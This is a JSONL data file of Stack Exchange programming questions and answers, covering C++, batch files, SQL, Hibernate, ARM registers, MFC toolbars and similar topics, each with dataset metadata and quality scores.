{"id": "hf_d46f9d3c5f89", "question": "<p>I'd like to compare two consecutive elements in a std::list while iterating through the list. What is the proper way to access element i+1 while my iterator is at element i?\nThanks\nCobe</p>\n", "question_body": "", "answer": "Boost has a utility called\n```\nnext\n```\n(and its inverse,\n```\nprior\n```\n) for just that purpose.\n```\n```\n*itr == *next(itr)\n```\n```\nEdit: But, if we step back to look at the forest, the\nreal\nquestion is, why custom-write your\n```\nadjacent_find\n```\nfunction? (I recommend Nicola Bonelli's answer to be accepted.) That's part of the STL, and doesn't require using Boost, if your code doesn't use Boost (thanks to the commenters for pointing this out).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.686487"}
{"id": "hf_eb3027de1209", "question": "<p>I have a batch file (in windows XP, with command extension activated) with the following line:</p>\n\n<pre><code>for /f %%s in ('type version.txt') do set VERSION=%%s\n</code></pre>\n\n<p>On some computer, it works just fine (as illustrated by <a href=\"https://stackoverflow.com/questions/130116/dos-batch-commands-to-read-first-line-from-text-file\">this SO question</a>), but on other <strong>it kills cmd</strong> (the console window just closes)</p>\n\n<p>Why ?</p>\n\n<hr>\n\n<p>Note: the computers seem to have a similar configuration: XpSP2, the user has administrative right, no 'Command processor\" defined in HKEY_CURRENT_USER\\Software\\Microsoft\\Command Processor...</p>\n", "question_body": "", "answer": "I got a first empiric answer:\n```\n```\nfor /f %%s in (version.txt) do ...\n```\n```\nworks just fine, on every computer.\nIt seems\n```\nfor /f\n```\nworks with a filename, not with any dos command like 'type filename'.\nHowever, it is not true for all my client's computer (on some, the 'type filename' works fine)\nIf you want 15 (easy ?) points ;-), you can leave an answer to the question:\nwhy 'for /f' sometime does not work with anything else than a file name. And why it just closes the DOS session ?\nEdit: 3 years later(!),\nbarlop\nfaced a similar situation, detailed in the question \"\n```\nfor /f\n```\ncloses cmd prompt immediately?\n\". His conclusion was:\n```\nCOMSPEC\n```\ndid get listed when doing\n```\nSET\n```\n+\nENTER\n.\nSo, I opened the environment variables window, and saw\n```\nCOMSPEC\n```\nwas not listed under user or system variables. I added it to System Variables, started a command prompt, and it seems to work fine.\nThis\nthread on ss64 forum\n, mentioned by\nAndriy M\nin his answer to barlop's question, contains the details.\nThe shelling out in the \"\n```\nfor\n```\n\" loop to complete '\n```\ndir\n```\n' (or whatever command you've asked to complete) requires\n```\nComSpec\n```\nto be set in order to reload the\n```\ncmd\n```\nwindow.\n```\n```\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\ComSpec=\n%SystemRoot%\\system32\\cmd.exe\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.723544"}
{"id": "hf_a93ce354f0fd", "question": "<p>In C I know about the recursive function but I heard about the re-entrant function.<p>What is that? And whats the difference between them? </p>\n", "question_body": "", "answer": "A function is re-entrant if it supports having multiple threads of execution \"going through\" it at the same time. This might be due to actual multi-threading, and I use this case below, or due to other things as pointed out by other posters. Multi-threading was the first that came to mind, and is perhaps also the easiest to understand, so I focused on that case.\nThis means that the function cannot use static \"global\" data, since that data would then be accessed by two (or more) threads in parallel, often breaking horribly. A re-entrant function often has an explicit argument to hold any call-specific state, rather than storing it statically.\n```\nstrtok()\n```\nis a classic case of a function in the C standard library that is well-known\nnot\nto be re-entrant.\n[Edit]: There are a bunch of insights, clarifications and corrections in the comments, so please read those as well! Thanks for the help, folks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.755950"}
{"id": "hf_93fb9e79ddd8", "question": "<p>If I declare a temporary auto deleted character buffer using</p>\n\n<pre><code>std::auto_ptr&lt;char&gt; buffer(new char[n]);\n</code></pre>\n\n<p>then the buffer is automatically deleted when the buffer goes out of scope. I would assume that the buffer is deleted using delete.</p>\n\n<p>However the buffer was created using new[], and so strictly speaking the buffer should be deleted using delete[].</p>\n\n<p>What possibility is there that this mismatch might cause a memory leak?</p>\n", "question_body": "", "answer": "The behaviour of calling delete on a pointer allocated with new[] is\nundefined\n. As you assumed, auto_ptr\ndoes call delete\nwhen the smart pointer goes out of scope. It's not just memory leaks you have to worry about -- crashes and other odd behaviours are possible.\nIf you don't need to transfer the ownership of the pointer, Boost's\nscoped_array\nclass might be what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.809472"}
{"id": "hf_db709fcc06c2", "question": "<p>I want to share an object between my servlets and my webservice (JAX-WS) by storing it as a servlet context attribute. But how can I retrieve the servlet context from a web service?</p>\n", "question_body": "", "answer": "The servlet context is made available by JAX-WS via the message context, which can be retrieved using the web service context. Inserting the following member will cause JAX-WS to inject a reference to the web service context into your web service:\n```\n```\nimport javax.annotation.Resource;\nimport javax.servlet.ServletContext;\nimport javax.xml.ws.WebServiceContext;\nimport javax.xml.ws.handler.MessageContext;\n\n...\n\n@Resource\nprivate WebServiceContext context;\n```\n```\nThen, you can access the servlet context using:\n```\n```\nServletContext servletContext =\n    (ServletContext) context.getMessageContext().get(MessageContext.SERVLET_CONTEXT);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.860028"}
{"id": "hf_0f3179179c24", "question": "<p>How do you calculate the number of <code>&lt;td&gt;</code> elements in a particular <code>&lt;tr&gt;</code>?</p>\n\n<p>I didn't specify id or name to access directly, we have to use the <code>document.getElementsByTagName</code> concept.</p>\n", "question_body": "", "answer": "You can use something like the following:\n```\n```\nvar rowIndex = 0; // rowindex, in this case the first row of your table\nvar table = document.getElementById('mytable'); // table to perform search on\nvar row = table.getElementsByTagName('tr')[rowIndex];\nvar cells = row.getElementsByTagName('td');\nvar cellCount = cells.length;\nalert(cellCount); // will return the number of cells in the row\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.908858"}
{"id": "hf_574b4e1471b1", "question": "<p>No doubt I'm missing something really simple here but I just can't see the problem with this query which is producing the following error:</p>\n\n<pre><code>SQL query:\n\nINSERT INTO ads(\n    ad_id, author, ad_date, category, title,\n    description, condition, price, fullname,\n    telephone, email, status, photo, photothumb\n)\nVALUES (\n    NULL , 'justal', '1225790938', 'Windsurf Boards',\n    'test', 'test', 'Excellent', '12', 'test',\n    'test', 'test', '', '', ''\n);\n\nMySQL said: Documentation\n#1064 - You have an error in your SQL syntax; check\nthe manual that corresponds to your MySQL server version\nfor the right syntax to use near ''ad_id', 'author',\n'ad_date', 'category', 'title', 'description',\n'condition', '' at line 1\n</code></pre>\n\n<p>Can someone with a fresh pair of eyes spot the problem?</p>\n\n<p>Thanks,\nAl. </p>\n", "question_body": "", "answer": "Shouldn't you use back ticks instead of single quotes in column names?\n```\n```\nINSERT INTO ads( `ad_id`, `author`, `ad_date`, `category`, `title`, `description`, `condition`, `price`, `fullname`, `telephone`, `email`, `status`, `photo`, `photothumb` )\nVALUES (\nNULL , 'justal', '1225790938', 'Windsurf Boards', 'test', 'test', 'Excellent', '12', 'test', 'test', 'test', '', '', ''\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.949480"}
{"id": "hf_0d92c553a49c", "question": "<p>I'm new to Flex, and I'm trying to write a simple application. I have a file with an image and I want to display this image on a Graphics. How do I do this? I tried [Embed]-ding it and adding as a child to the component owning the Graphics', but I'm getting a \"Type Coercion failed: cannot convert ... to mx.core.IUIComponent\" error.</p>\n", "question_body": "", "answer": "Off the top of my head I can think of two things that might help you (depending on what it is exactly that you're trying to achieve):\nIf you just want to display an image you've embedded, you can add an\nImage\ncomponent to the stage and set the value of its\n```\nsource\n```\nas the graphical asset (\n```\nClass\n```\n) that you're embedding:\n```\n```\n[Bindable]\n[Embed(source=\"assets/image.png\")]\nprivate var MyGfx:Class;\n\nmyImage.source = MyGfx;\n```\n```\nIf you actually want to\ndraw\na bitmap onto a\n```\nGraphics\n```\nobject, you can do this with the\nbeginBitmapFill()\nmethod:\n```\n```\n[Bindable]\n[Embed(source=\"assets/image.png\")]\nprivate var MyGfx:Class;\n\nvar myBitmap:BitmapData = new MyGfx().bitmapData;\nmyGraphics.beginBitmapFill(myBitmap);\nmyGraphics.endFill();\n```\n```\nYou might find the\nFlex Quick Starts\narticles on Adobe's site useful, especially the\n\"Embedding Assets\"\nsection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:08.998137"}
{"id": "hf_df86f86e08cf", "question": "<p>Currently I have a structure like this:</p>\n\n<pre><code>A\n|\n+--B\n|\n+--C\n</code></pre>\n\n<p>It's mapped with one table per subclass using joined tables. For historic reasons I also use a discriminator, so the current situation is as described in <a href=\"http://www.hibernate.org/hib_docs/v3/reference/en-US/html/inheritance.html#inheritance-tablepersubclass-discriminator\" rel=\"noreferrer\">Section 9.1.3 of the Hibernate manual</a>.</p>\n\n<p><strong>Question:</strong> How do I extend the mapping for a structure like this:</p>\n\n<pre><code>A\n|\n+--B\n|  |\n|  D\n|\n+--C\n</code></pre>\n\n<p>Can I <code>&lt;subclass&gt;</code> a <code>&lt;subclass&gt;</code> in the hibernate mapping? What <code>&lt;key&gt;</code>s do I need?</p>\n", "question_body": "", "answer": "not tested\nbut, according to the link you posted if you are using hibernate3\n```\n```\n<hibernate-mapping>\n  <class name=\"A\" table=\"A\">\n    <id name=\"id\" type=\"long\" column=\"a_id\">\n      <generator class=\"native\"/>\n    </id>\n    <discriminator column=\"discriminator_col\" type=\"string\"/>\n    <property name=\"\" type=\"\"/>\n    <!-- ... -->\n  </class>\n  <subclass name=\"B\" extends=\"A\" discriminator-value=\"B\">\n    <!-- ... -->\n  </subclass>\n  <subclass name=\"D\" extends=\"B\" discriminator-value=\"D\">\n    <!-- ... -->\n  </subclass>\n  <subclass name=\"C\" extends=\"A\" discriminator-value=\"C\">\n    <!-- ... -->\n  </subclass>\n</hibernate-mapping>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.059907"}
{"id": "hf_c6c26f4e92b6", "question": "<p>It's been a while since I last coded arm assembler and I'm a little rusty on the details. If I call a C function from arm,  I only have to worry about saving r0-r3 and lr, right?</p>\n\n<p>If the C function uses any other registers, is it responsible for saving those on the stack and restoring them? In other words, the compiler would generate code to do this for C functions. </p>\n\n<p>For example if I use r10 in an assembler function, I don't have to push its value on the stack, or to memory, and pop/restore it after a C call, do I?</p>\n\n<p>This is for arm-eabi-gcc 4.3.0.</p>\n", "question_body": "", "answer": "It depends on the\nABI\nfor the platform you are compiling for. On Linux, there are two ARM ABIs; the old one and the new one. AFAIK, the new one (EABI) is in fact ARM's AAPCS. The complete EABI definitions currently live\nhere on ARM's infocenter\n.\nFrom\nthe AAPCS, §5.1.1\n:\nr0-r3\nare the argument and scratch registers;\nr0-r1\nare also the result registers\nr4-r8\nare callee-save registers\nr9\nmight be a callee-save register or not (on some variants of AAPCS it is a special register)\nr10-r11\nare callee-save registers\nr12-r15\nare special registers\nA callee-save register must be saved by the callee (in opposition to a caller-save register, where the caller saves the register); so,\nif\nthis is the ABI you are using, you do not have to save r10 before calling another function (the other function is responsible for saving it).\nEdit:\nWhich compiler you are using makes no difference; gcc in particular can be configured for several different ABIs, and it can even be changed on the command line. Looking at the prologue/epilogue code it generates is not that useful, since it is tailored for each function\nand\nthe compiler can use other ways of saving a register (for instance, saving it in the middle of a function).\nTerminology: \"callee-save\" is a synonym for \"non-volatile\" or \"call-preserved\":\nWhat are callee and caller saved registers?\nWhen making a function call, you can assume that the values in r4-r11 (except maybe r9) are still there after (call-preserved), but not for r0-r3 (call-clobbered / volatile).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.084343"}
{"id": "hf_12778b3698ff", "question": "<p>How can we handel key pressed event in asp.net</p>\n", "question_body": "", "answer": "It depends on your situation. In most cases, you will have to handle keypressed event in javascript, and somehow propagate that event to server side. \nConsider revising your question to include more background.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.121974"}
{"id": "hf_2b823cf81ae1", "question": "<p>So far I've been using <code>public void run() {}</code> methods to execute my code in Java. When/why might one want to use <code>main()</code> or <code>init()</code> instead of <code>run()</code>?</p>\n", "question_body": "", "answer": "The\n```\nmain()\n```\nmethod is the entry point for a Java application.\n```\nrun()\n```\nis typically used for new threads or tasks.\nWhere have you been writing a\n```\nrun()\n```\nmethod, what kind of application are you writing (e.g. Swing, AWT, console etc) and what's your development environment?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.157949"}
{"id": "hf_74f9c9d123f1", "question": "<p>I want to detect whether adobe reader is installed using VB6. Also if detected that it's not installed, what would be the best solution?</p>\n", "question_body": "", "answer": "There are crude ways (checking for files on Program files directory), but I'd recommend you declare full-registry functions (not getSetting from vb) as in\nhttp://www.windowsdevcenter.com/pub/a/windows/2004/06/15/VB_Registry_Keys.html\nand fetch\nHKEY_CLASSES_ROOT\\.pdf\nIf that's there, something capable of reading pdfs is there (which is what you want, right?).\nAs a bonus,\nHKEY_CLASSES_ROOT\\.pdf\\OpenWithList\nhas a list (wow) of registered applications that open .pdf files... the key names on that list are programs you can invoke from vb using\nshell(\"start \"+ OpenAppName)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.181797"}
{"id": "hf_38b2439d336a", "question": "<p>I have a variable </p>\n\n<pre><code>unsigned char* data = MyFunction();\n</code></pre>\n\n<p>how to find the length of data?</p>\n", "question_body": "", "answer": "Assuming its a\n```\nstring\n```\n```\n```\nlength = strlen( char* );\n```\n```\nbut it doesn't seem to be...so there isn't a way\nwithout\nhaving the function return the length.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.205635"}
{"id": "hf_0d4831aa4e8c", "question": "<p>I'm trying to do the classic Insert/Update scenario where I need to update existing rows in a database or insert them if they are not there.</p>\n\n<p>I've found a <a href=\"https://stackoverflow.com/questions/13540/insert-update-stored-proc-on-sql-server\">previous question on the subject</a>, but it deals with stored procedures, which I'm not using.  I'd like to just use plain SQL SELECT, INSERT and UPDATE statements, unless there's something better available (the MERGE statement isn't available in SQL Server 2005).</p>\n\n<p>I guess my general idea is this:</p>\n\n<pre><code>If the row is found\n  update\nelse\n  insert\n</code></pre>\n\n<p>As for checking for a row's existence, how expensive is it to do a SELECT statement before calling an UPDATE or an INSERT?  Or is it better to just try an UPDATE, check for the number of rows affected, and then do an INSERT if the rows affected is 0?</p>\n", "question_body": "", "answer": "The most efficient way is to do the\n```\nUPDATE\n```\n, then do an\n```\nINSERT\n```\nif\n```\n@@rowcount\n```\nis zero,\nas explained in this previous answer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.241414"}
{"id": "hf_0ecaceb13478", "question": "<p>We have a couple of web servers using load balancer. Machines are running IIS6 on port 81. Externally, site is accessable using port 80. External name and name of the machine are different.</p>\n\n<p>We're getting </p>\n\n<pre><code>System.ServiceModel.EndpointNotFoundException: The message with To '&lt;url&gt;' cannot be processed at the receiver, due to an AddressFilter mismatch at the EndpointDispatcher. Check that the sender and receiver's EndpointAddresses agree.\n</code></pre>\n\n<p>Relevant part of web.config is:</p>\n\n<pre><code>  &lt;endpoint binding=\"ws2007HttpBinding\" bindingConfiguration=\"MyServiceBinding\"\n    contract=\"MyService.IMyService\" listenUriMode=\"Explicit\" /&gt;\n</code></pre>\n\n<p>We tried adding listenUri, but that didn't solve our problems.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "What is the specific load balancer? Using an F5 BIG-IP we got it working fairly easily, but we were using the same port and (relative) uri on the nlb as individual machines (so we can treat an individual machine the same as the farm if we choose). Obviously each machine has a different name, but this setup also allows you to test individual servers by spoofing the host - for example, by editing your HOSTS file to point [your farm name] to [test server IP].\nThe biggest pain we had was SSL; using TransportWithMessageCredential security, WCF refuses inbound http connections - so we had to set up the nlb to re-encrypt between the nlb and the server node - but not a biggie.\nThe only other issue we had was with hosting WCF inside IIS, and WCF not being able to correctly identify the intended site (although IIS was fine) over http (but fine over https). To fix this I wrote a custom factory that simply ignored http completely (only listened on https) - which ties in neatly with the TransportWithMessageCredential requirements anyway, so I wasn't bothered by this.\nI wonder if you wouldn't get more joy by hosting on a standard port but as a different site (IP/host-header/etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.277855"}
{"id": "hf_96f24941d9fc", "question": "<p>I'm currently working with Db2 Enterprise Server V 8.2 with FixPak 10</p>\n<p>And I want to retrieve list of all the open active connections with an instance.</p>\n<p>In Oracle there is a utility program called &quot;Top Session&quot; which does the similar task. Is there any equivalent in DB2?</p>\n", "question_body": "", "answer": "The command you seek is:\n```\n```\nLIST APPLICATIONS\n```\n```\nIn the DB2 Command Center there is a tool which list the applications and displays them in a human friendly format as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.327665"}
{"id": "hf_cc9fbef0b8f1", "question": "<p>I have a large set of files, some of which contain special characters in the filename (e.g. ä,ö,%, and others). I'd like a script file to iterate over these files and rename them removing the special characters. I don't really mind what it does, but it could replace them with underscores for example e.g.</p>\n\n<p>Störung%20.doc would be renamed to St_rung_20.doc</p>\n\n<p>In order of preference:</p>\n\n<ol>\n<li>A Windiws batch file</li>\n<li>A Windows script file to run with cscript (vbs)</li>\n<li>A third party piece of software that can be run from the command-line (i.e. no user interaction required)</li>\n<li>Another language script file, for which I'd have to install an additional script engine</li>\n</ol>\n\n<p>Background: I'm trying to encrypt these file with GnuPG on Windows but it doesn't seem to handle special characters in filenames with the --encrypt-files option.</p>\n", "question_body": "", "answer": "Have you tried setting cmd.exe into another codepage before you feed the file names to gnupg? Issue\n```\nchcp 65001\n```\nto set cmd.exe to Unicode beforehand and try again.\nIf that fails, the following VBScript would do it:\n```\n```\nOption Explicit\n\nDim fso: Set fso = CreateObject(\"Scripting.FileSystemObject\")\nDim invalidChars: Set invalidChars = New RegExp\n\n' put all characters that you want to strip inside the brackets\ninvalidChars.Pattern =  \"[äöüß&%]\"\ninvalidChars.IgnoreCase = True\ninvalidChars.Global = True\n\nIf WScript.Arguments.Unnamed.Count = 0 Then\n  WScript.Echo \"Please give folder name as argument 1.\"\n  WScript.Quit 1\nEnd If\n\nRecurse fso.GetFolder(WScript.Arguments.Unnamed(0))\n\nSub Recurse(f)\n  Dim item\n\n  For Each item In f.SubFolders\n    Recurse item\n    Sanitize item\n  Next\n  For Each item In f.Files\n    Sanitize item\n  Next\nEnd Sub\n\nSub Sanitize(folderOrFile)\n  Dim newName: newName = invalidChars.Replace(folderOrFile.Name, \"_\")\n  If folderOrFile.Name = newName Then Exit Sub\n  WScript.Echo folderOrFile.Name, \" -> \", newName\n  folderOrFile.Name = newName \nEnd Sub\n```\n```\ncall it like this:\n```\n```\ncscript replace.vbs \"c:\\path\\to\\my\\files\"\n```\n```\nYou can also drag&drop a folder onto it in Windows Explorer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.352826"}
{"id": "hf_55838bd4a84f", "question": "<p>What is the command to match brackets in Emacs (the equivalent of the <code>%</code> command in Vim)?</p>\n", "question_body": "", "answer": "See\n```\nshow-paren-mode\n```\nas described in\n5.27 How do I show which parenthesis matches the one I'm looking at?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.389647"}
{"id": "hf_12b1c89f514e", "question": "<p>I'm by no means a sysadmin so please correct me if I'm wrong.</p>\n\n<p>I want to run aspnet_regiis.exe -s.\nThis requires the metabase path of my website.</p>\n\n<p>How do I find this metabase path?</p>\n", "question_body": "", "answer": "Just run aspnet_regiis.exe -lk to see a list of the registered applications, their metabase paths and the version of the .NET framework installed for this application.\nAlso, here are a couple of links that you can use to find the metabase path:\nhttp://msdn.microsoft.com/en-us/library/ms524682.aspx\nhttp://www.windowsdevcenter.com/pub/a/windows/2005/10/25/hacking-iis6-with-metabase-explorer.html\nhttp://www.codersource.net/csharp_iis_metabase.html\nHTH,\nDon", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.463925"}
{"id": "hf_4d329123a1ca", "question": "<p>I'm getting the following error when my win32 (c#) app is calling web services.</p>\n<pre><code>The request failed with HTTP status 504: Gateway timeout server response timeout.\n</code></pre>\n<p>I understand 'I think' that this is because the upstream request does not get a response in a timely fashion.</p>\n<p>But my question is this?  How do I change the <strong>app.config</strong> settings in my win32 application to allow more time to process its data.  I assume I require these changes to be made on my app settings as the webservices and IIS hosting the ws are setup with extended times.</p>\n<p>Look forward to a response and thank you in advance.</p>\n", "question_body": "", "answer": "CheckUpDown has\na nice explanation of the 504 error\n:\nA server (not necessarily a Web server) is acting as a gateway or proxy to fulfil the request by the client (e.g. your Web browser or our CheckUpDown robot) to access the requested URL. This server did not receive a timely response from an upstream server it accessed to deal with your HTTP request.\nThis usually means that the upstream server is down (no response to the gateway/proxy), rather than that the upstream server and the gateway/proxy do not agree on the protocol for exchanging data.\nThis problem is entirely due to slow IP communication between back-end computers, possibly including the Web server. Only the people who set up the network at the site which hosts the Web server can fix this problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.488608"}
{"id": "hf_bc1981ead27a", "question": "<p>Is there a way to drop a validation that was set in Rails plugin (or included module)?\nLet's say I have some model with module included in it:</p>\n\n<pre><code>class User &lt; ActiveRecord::Base\n  include SomeModuleWithValidations\n  # How to cancel validates_presence_of :something here?\nend\n\nmodule SomeModuleWithValidations\n  def self.included(base)\n    base.class_eval do\n      validates_presence_of :something\n    end\n  end  \nend\n</code></pre>\n\n<p>My only idea so far was to do something like:</p>\n\n<pre><code>validates_presence_of :something, :if =&gt; Proc.new{1==2}\n</code></pre>\n\n<p>which would work, I think, but it isn't particulary pretty.</p>\n", "question_body": "", "answer": "You could overload the validates_precense_of in the class. Something like:\n```\n```\ndef self.validates_presence_of(*args)\n  return if args.first == :foo\n super\nend\n```\n```\nOr if you have validates_presence_of :foo you could do:\n```\n```\ndef foo\n  self[:foo] || \"\"\nend\n```\n```\nHowever, none of those solutions are very nice. It would most likely be easier to just uncomment it in the module, or redefine it to no-op in just that module.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.526390"}
{"id": "hf_93ff67762649", "question": "<p>How to insert data into a particular cell in a Excel Work sheet in Asp.net</p>\n", "question_body": "", "answer": "Does the worksheet already exist? If it does you can open the worksheet using the open-source component\nKoogra\nog the commercial component from\nInfragistics\n(there are others as well) and modify it in code. The alternative is to open the worksheet using excel automation, but that is not recommended in a web project.\nBy the way.\nYou are not the first to ask this question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.577834"}
{"id": "hf_68b2ae860032", "question": "<p>I was wondering how to make a toolbar in MFC that used 24bit or 256 colour bitmaps rather than the horrible 16 colour ones.</p>\n\n<p>Can anyone point me in the direction of some simple code?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "The reason this happens is that the MFC CToolbar class uses an image list internally that is initialised to use 16 colours only. The solution is to create our own image list and tell the toolbar to use that instead. I know this will work for 256-colours, but I haven't tested it with higher bit-depths:\nFirst, load a 256-colour bitmap from a resource:\n```\n```\nHBITMAP hBitmap = (HBITMAP) ::LoadImage(AfxGetInstanceHandle(),\n    MAKEINTRESOURCE(IDR_MAINFRAME), IMAGE_BITMAP,\n    0,0, LR_CREATEDIBSECTION | LR_LOADMAP3DCOLORS);\nCBitmap bm;\nbm.Attach(hBitmap);\n```\n```\nNext, create a 256-colour image list and add our bitmap to it:\n```\n```\nCImageList m_imagelist.Create(20, 20, ILC_COLOR8, 4, 4);\nm_imagelist.Add(&bm, (CBitmap*) NULL);\n```\n```\nFinally, we need to tell the toolbar to use the new image list:\n```\n```\nm_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);\n```\n```\nIt's also possible that the new MFC version in VS2008 may have solved this problem as I know that many of the UI elements have been updated. I haven't actually tried using it yet so I can't be certain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.614037"}
{"id": "hf_1c8ee8daaeb6", "question": "<p>I'm looking for suggestions on possible IPC mechanisms that I can implement in my self-made OS for an AVR32 board. </p>\n\n<p>My current choice is implementing the massage passing mechanism described in the books written by Tanenbaum. </p>\n\n<p>Is this a good choice? Are there easier way to implement IPC?</p>\n\n<p>Thanks </p>\n", "question_body": "", "answer": "My suggestion is to review the message passing primitives that QNX RTOS (www.qnx.com) supports before making any decisions.  I spent several years programming a complex multi-process system in that environment, and it stands out as the best message-based O/S I have ever encountered.\nSome specific points that spring to mind (it's been a while now):\nMessage data copied between process memory space by the kernel so that a bug in one process cannot affect another.\nAbility to send and block for a reply.\nAbility to drop a message on a queue and move on immediately.\nAbility to send a message an block indefinitely until the receiver responds; the receiver may receive and process other messages in the meantime - this is way more valuable than you at first think it will be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.638139"}
